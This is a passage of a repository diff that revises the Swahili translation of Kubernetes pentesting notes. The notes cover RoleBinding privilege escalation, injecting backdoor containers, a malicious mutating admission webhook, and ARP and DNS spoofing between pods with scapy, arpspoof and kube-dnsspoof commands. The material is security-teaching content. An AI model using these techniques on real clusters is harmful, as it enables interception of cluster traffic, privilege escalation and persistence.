Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha majukumu na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjika.
|
||||
|
||||
## Mashambulizi Mengine
|
||||
|
||||
@@ -627,15 +686,15 @@ image: nginx
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo kwa kutumia kontena jipya unaweza kuongeza kontena jipya katika maelezo. Kumbuka kwamba unaweza **kutoa ruhusa zaidi** kwa kontena la pili ambazo la kwanza halitakuwa nazo.
|
||||
Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo na kontena mpya unaweza kuongeza kontena mpya katika maelezo. Kumbuka kwamba unaweza **kutoa ruhusa zaidi** kwa kontena ya pili ambayo ya kwanza haitaweza kuwa nayo.
|
||||
|
||||
Taarifa zaidi kwenye: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Mdhibiti wa Kuingia Mbaya
|
||||
### Mdhibiti wa Kuingiza Mbaya
|
||||
|
||||
Mdhibiti wa kuingia **unakamata maombi kwa seva ya API ya Kubernetes** kabla ya kudumu kwa kitu, lakini **baada ya ombi kuthibitishwa** **na kuidhinishwa**.
|
||||
Mdhibiti wa kuingiza **unakamata maombi kwa seva ya API ya Kubernetes** kabla ya kudumu kwa kitu, lakini **baada ya ombi kuthibitishwa** **na kuidhinishwa**.
|
||||
|
||||
Ikiwa mshambuliaji kwa namna fulani anafanikiwa **kuingiza Mdhibiti wa Kuingia wa Mabadiliko**, ataweza **kubadilisha maombi ambayo tayari yameidhinishwa**. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta.
|
||||
Ikiwa mshambuliaji kwa namna fulani anafanikiwa **kuingiza Mdhibiti wa Kuingiza Mabadiliko**, ataweza **kubadilisha maombi ambayo tayari yameidhinishwa**. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta.
|
||||
|
||||
**Mfano kutoka** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -651,12 +710,12 @@ kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||
|
||||
|
||||
Kisha peleka pod mpya:
|
||||
Kisha weka pod mpya:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Wakati unaweza kuona kosa la `ErrImagePull`, angalia jina la picha kwa moja ya maswali yafuatayo:
|
||||
Wakati unaweza kuona kosa la `ErrImagePull`, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
@@ -667,7 +726,7 @@ Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha `nginx` lakini
|
||||
|
||||
#### Technicalities
|
||||
|
||||
Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yaliyoshuhudiwa:
|
||||
Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yanayoonekana:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -692,11 +751,11 @@ The above snippet replaces the first container image in every pod with `rewantht
|
||||
|
||||
### **Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na kuondoa watumiaji wasiohusika ili kudumisha usalama mkali.
|
||||
- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.
|
||||
|
||||
### **Majukumu Maalum ya Namespace Juu ya Majukumu ya Cluster-Wide**
|
||||
### **Majukumu Maalum ya Namespace Juu ya Majukumu ya Kiwango cha Klasta**
|
||||
|
||||
- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha cluster. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.
|
||||
- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.
|
||||
|
||||
### **Tumia zana za kiotomatiki**
|
||||
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
Katika Kubernetes, inabainika kwamba tabia ya default inaruhusu kuanzishwa kwa mawasiliano kati ya **mashine zote zinazokaa kwenye nodi moja**. Hii inatumika bila kujali tofauti za namespace. Mawasiliano haya yanafikia **Layer 2** (Ethernet). Kwa hivyo, usanidi huu huweka mfumo katika hatari ya udhaifu. Kwa hakika, unafungua uwezekano wa **konteina mbaya** kutekeleza **shambulio la ARP spoofing** dhidi ya konteina nyingine zilizoko kwenye nodi hiyo hiyo. Wakati wa shambulio kama hilo, konteina mbaya inaweza kwa udanganyifu kukamata au kubadilisha trafiki ya mtandao inayokusudiwa kwa konteina nyingine.
|
||||
Katika Kubernetes, inabainika kwamba tabia ya kawaida inaruhusu kuanzishwa kwa mawasiliano kati ya **mashine zote zinazokaa kwenye nodi moja**. Hii inatumika bila kujali tofauti za namespace. Mawasiliano haya yanafikia **Layer 2** (Ethernet). Kwa hivyo, usanidi huu huweza kufichua mfumo kwa udhaifu. Kwa hakika, unafungua uwezekano wa **konteina mbaya** kutekeleza **shambulio la ARP spoofing** dhidi ya konteina nyingine zilizoko kwenye nodi hiyo hiyo. Wakati wa shambulio kama hilo, konteina mbaya inaweza kwa udanganyifu kukamata au kubadilisha trafiki ya mtandao inayokusudiwa kwa konteina nyingine.
|
||||
|
||||
Shambulio la ARP spoofing linahusisha **mshambuliaji kutuma ujumbe wa ARP uliofanywa** (Address Resolution Protocol) juu ya mtandao wa eneo la ndani. Hii inasababisha kuunganishwa kwa **anwani ya MAC ya mshambuliaji na anwani ya IP ya kompyuta halali au seva kwenye mtandao**. Baada ya kutekeleza shambulio kama hilo kwa mafanikio, mshambuliaji anaweza kukamata, kubadilisha, au hata kusitisha data inayosafirishwa. Shambulio linafanyika kwenye Layer 2 ya mfano wa OSI, ndiyo maana kuunganishwa kwa default katika Kubernetes kwenye layer hii kunaibua wasiwasi wa usalama.
|
||||
Shambulio la ARP spoofing linahusisha **mshambuliaji kutuma ujumbe wa ARP uliofanywa** (Address Resolution Protocol) juu ya mtandao wa eneo la ndani. Hii inasababisha kuunganishwa kwa **anwani ya MAC ya mshambuliaji na anwani ya IP ya kompyuta halali au seva kwenye mtandao**. Baada ya kutekeleza shambulio kama hilo kwa mafanikio, mshambuliaji anaweza kukamata, kubadilisha, au hata kusitisha data inayosafirishwa. Shambulio linafanyika kwenye Layer 2 ya mfano wa OSI, ndiyo maana kuunganishwa kwa kawaida katika Kubernetes kwenye layer hii kunaibua wasiwasi wa usalama.
|
||||
|
||||
Katika hali hii, mashine 4 zitaundwa:
|
||||
|
||||
- ubuntu-pe: Mashine yenye mamlaka ya kutoroka hadi kwenye nodi na kuangalia metriki (haihitajiki kwa shambulio)
|
||||
- **ubuntu-attack**: **Konteina mbaya** katika namespace ya default
|
||||
- **ubuntu-attack**: **Konteina mbaya** katika namespace ya kawaida
|
||||
- **ubuntu-victim**: Mashine **ya mwathirika** katika namespace ya kube-system
|
||||
- **mysql**: Mashine **ya mwathirika** katika namespace ya default
|
||||
- **mysql**: Mashine **ya mwathirika** katika namespace ya kawaida
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -98,20 +98,20 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
|
||||
```
|
||||
## Msingi wa Mtandao wa Kubernetes
|
||||
|
||||
Ikiwa unataka maelezo zaidi kuhusu mada za mtandao zilizowasilishwa hapa, tembelea marejeleo.
|
||||
Ikiwa unataka maelezo zaidi kuhusu mada za mtandao zilizowasilishwa hapa, tembelea viungo.
|
||||
|
||||
### ARP
|
||||
|
||||
Kwa ujumla, **mtandao wa pod hadi pod ndani ya node** upatikana kupitia **daraja** linalounganisha pods zote. Daraja hili linaitwa “**cbr0**”. (Baadhi ya plugins za mtandao zitafunga daraja zao.) **cbr0 pia inaweza kushughulikia ARP** (Address Resolution Protocol) ufumbuzi. Wakati pakiti inayokuja inafika cbr0, inaweza kutatua anwani ya MAC ya marudio kwa kutumia ARP.
|
||||
Kwa ujumla, **mtandao wa pod hadi pod ndani ya node** upatikana kupitia **daraja** linalounganisha pods zote. Daraja hili linaitwa “**cbr0**”. (Baadhi ya plugins za mtandao zitafunga daraja zao wenyewe.) **cbr0 pia inaweza kushughulikia ARP** (Protokali ya Kutatua Anwani). Wakati pakiti inayokuja inafika cbr0, inaweza kutatua anwani ya MAC ya marudio kwa kutumia ARP.
|
||||
|
||||
Hali hii inaashiria kwamba, kwa kawaida, **kila pod inayotembea katika node hiyo hiyo** itakuwa na uwezo wa **kuwasiliana** na pod nyingine yoyote katika node hiyo hiyo (bila kujali namespace) katika kiwango cha ethernet (layer 2).
|
||||
Hali hii inaashiria kwamba, kwa kawaida, **kila pod inayotembea katika node hiyo hiyo** itakuwa na uwezo wa **kuwasiliana** na pod nyingine yoyote katika node hiyo hiyo (bila kujali namespace) katika kiwango cha ethernet (tabaka la 2).
|
||||
|
||||
> [!WARNING]
|
||||
> Hivyo, inawezekana kufanya A**RP Spoofing attacks kati ya pods katika node hiyo hiyo.**
|
||||
> Kwa hivyo, inawezekana kufanya mashambulizi ya **ARP Spoofing kati ya pods katika node hiyo hiyo.**
|
||||
|
||||
### DNS
|
||||
|
||||
Katika mazingira ya kubernetes, kwa kawaida utapata 1 (au zaidi) **huduma za DNS zinazoendesha** kwa kawaida katika namespace ya kube-system:
|
||||
Katika mazingira ya kubernetes kawaida utapata 1 (au zaidi) **huduma za DNS zinazoendesha** kawaida katika namespace ya kube-system:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
@@ -136,7 +136,7 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
Katika taarifa zilizopita unaweza kuona kitu cha kuvutia, **IP ya huduma** ni **10.96.0.10** lakini **IP ya pod** inayotumia huduma hiyo ni **172.17.0.2.**
|
||||
Katika taarifa ya awali unaweza kuona kitu cha kuvutia, **IP ya huduma** ni **10.96.0.10** lakini **IP ya pod** inayokimbia huduma ni **172.17.0.2.**
|
||||
|
||||
Ikiwa utaangalia anwani ya DNS ndani ya pod yoyote utaona kitu kama hiki:
|
||||
```
|
||||
@@ -156,7 +156,7 @@ Kwa hiyo, pod itatuma **maombi ya DNS kwa anwani 10.96.0.10** ambayo yatakuwa **
|
||||
|
||||
## ARP Spoofing katika pods katika Nodi Moja
|
||||
|
||||
Lengo letu ni **kuiba angalau mawasiliano kutoka kwa ubuntu-victim hadi mysql**.
|
||||
Lengo letu ni **kuchukua angalau mawasiliano kutoka kwa ubuntu-victim hadi mysql**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -233,11 +233,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
Kama ilivyotajwa tayari, ikiwa unafanya **kompromi** pod katika node sawa na pod ya DNS server, unaweza **MitM** kwa **ARPSpoofing** bridge na pod ya DNS na **kubadilisha majibu yote ya DNS**.
|
||||
Kama ilivyotajwa tayari, ikiwa unafanya **kompromi** pod katika node moja ya pod ya DNS server, unaweza **MitM** kwa kutumia **ARPSpoofing** kwenye **bridge** na pod ya DNS na **kubadilisha majibu yote ya DNS**.
|
||||
|
||||
Una **chombo** na **miongozo** nzuri za kujaribu hii katika [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
Una **chombo** na **mafunzo** mazuri ya kujaribu hii katika [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
|
||||
|
||||
Katika hali yetu, **pakua** **chombo** katika pod ya mshambuliaji na uunde **faili inayoitwa `hosts`** na **domain** unazotaka **spoof** kama:
|
||||
Katika hali yetu, **pakua** **chombo** katika pod ya mshambuliaji na uunde **faili inayoitwa `hosts`** yenye **domain** unazotaka **spoof** kama:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
@@ -263,12 +263,44 @@ google.com. 1 IN A 1.1.1.1
|
||||
> Ikiwa unajaribu kuunda skripti yako ya DNS spoofing, ikiwa **unabadilisha tu jibu la DNS** hilo **halitafanya kazi**, kwa sababu **jibu** litakuwa na **src IP** anwani ya IP ya **pod** ya **kibaya** na **halitakubaliwa**.\
|
||||
> Unahitaji kuunda **pakiti mpya ya DNS** yenye **src IP** ya **DNS** ambapo mwathirika anatumia ombi la DNS (ambayo ni kitu kama 172.16.0.2, si 10.96.0.10, hiyo ni IP ya huduma ya K8s DNS na si IP ya seva ya DNS, zaidi kuhusu hii katika utangulizi).
|
||||
|
||||
## Capturing Traffic
|
||||
## DNS Spoofing kupitia coreDNS configmap
|
||||
|
||||
Zana [**Mizu**](https://github.com/up9inc/mizu) ni mtazamaji wa API **wa trafiki wa Kubernetes** rahisi lakini mwenye nguvu unaeweza **kuona mawasiliano yote ya API** kati ya huduma ndogo ili kusaidia kutatua matatizo na kurekebisha mabadiliko.\
|
||||
Itasakinisha wakala katika pods zilizochaguliwa na kukusanya taarifa zao za trafiki na kuonyesha kwako kwenye seva ya wavuti. Hata hivyo, utahitaji ruhusa za juu za K8s kwa hili (na si ya siri sana).
|
||||
Mtumiaji mwenye ruhusa za kuandika juu ya configmap `coredns` katika eneo la kube-system anaweza kubadilisha majibu ya DNS ya klasta.
|
||||
|
||||
## References
|
||||
Angalia maelezo zaidi kuhusu shambulio hili katika:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## Kutumia huduma za usimamizi wa kubernetes zilizofichuliwa
|
||||
|
||||
Huduma kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na dashibodi ya Kubernetes mara nyingi zinafichuliwa ama kwa mtandao au ndani ya mtandao wa kubernetes. Mshambuliaji ambaye anafanikiwa **kugundua jukwaa lolote linalotumika kusimamia kubernetes na kulifikia** anaweza kulitumia kupata ufikiaji wa API ya kubernetes na kufanya vitendo kama kuunda pods mpya, kubadilisha zile zilizopo, au hata kuzifuta.
|
||||
|
||||
## Kuorodhesha sera za mtandao wa kubernetes
|
||||
|
||||
Pata **networkpolicies** zilizowekwa:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
Pata sera za mtandao za **Callico**:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
Pata sera za mtandao za **Cillium**:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
Pata CRDs zingine zinazohusiana na sera zilizowekwa na nyongeza yako ya mtandao au suluhisho la usalama:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## Kukamata Trafiki
|
||||
|
||||
Chombo [**Mizu**](https://github.com/up9inc/mizu) ni mtazamaji wa trafiki wa API **rahisi lakini wenye nguvu kwa Kubernetes** unaokuwezesha **kuona mawasiliano yote ya API** kati ya microservices ili kusaidia katika kutatua matatizo na kurekebisha makosa.\
|
||||
Itasakinisha wakala katika pods zilizochaguliwa na kukusanya taarifa zao za trafiki na kukonyesha kwenye seva ya wavuti. Hata hivyo, utahitaji ruhusa kubwa za K8s kwa hili (na si ya siri sana).
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
Reference in New Issue
Block a user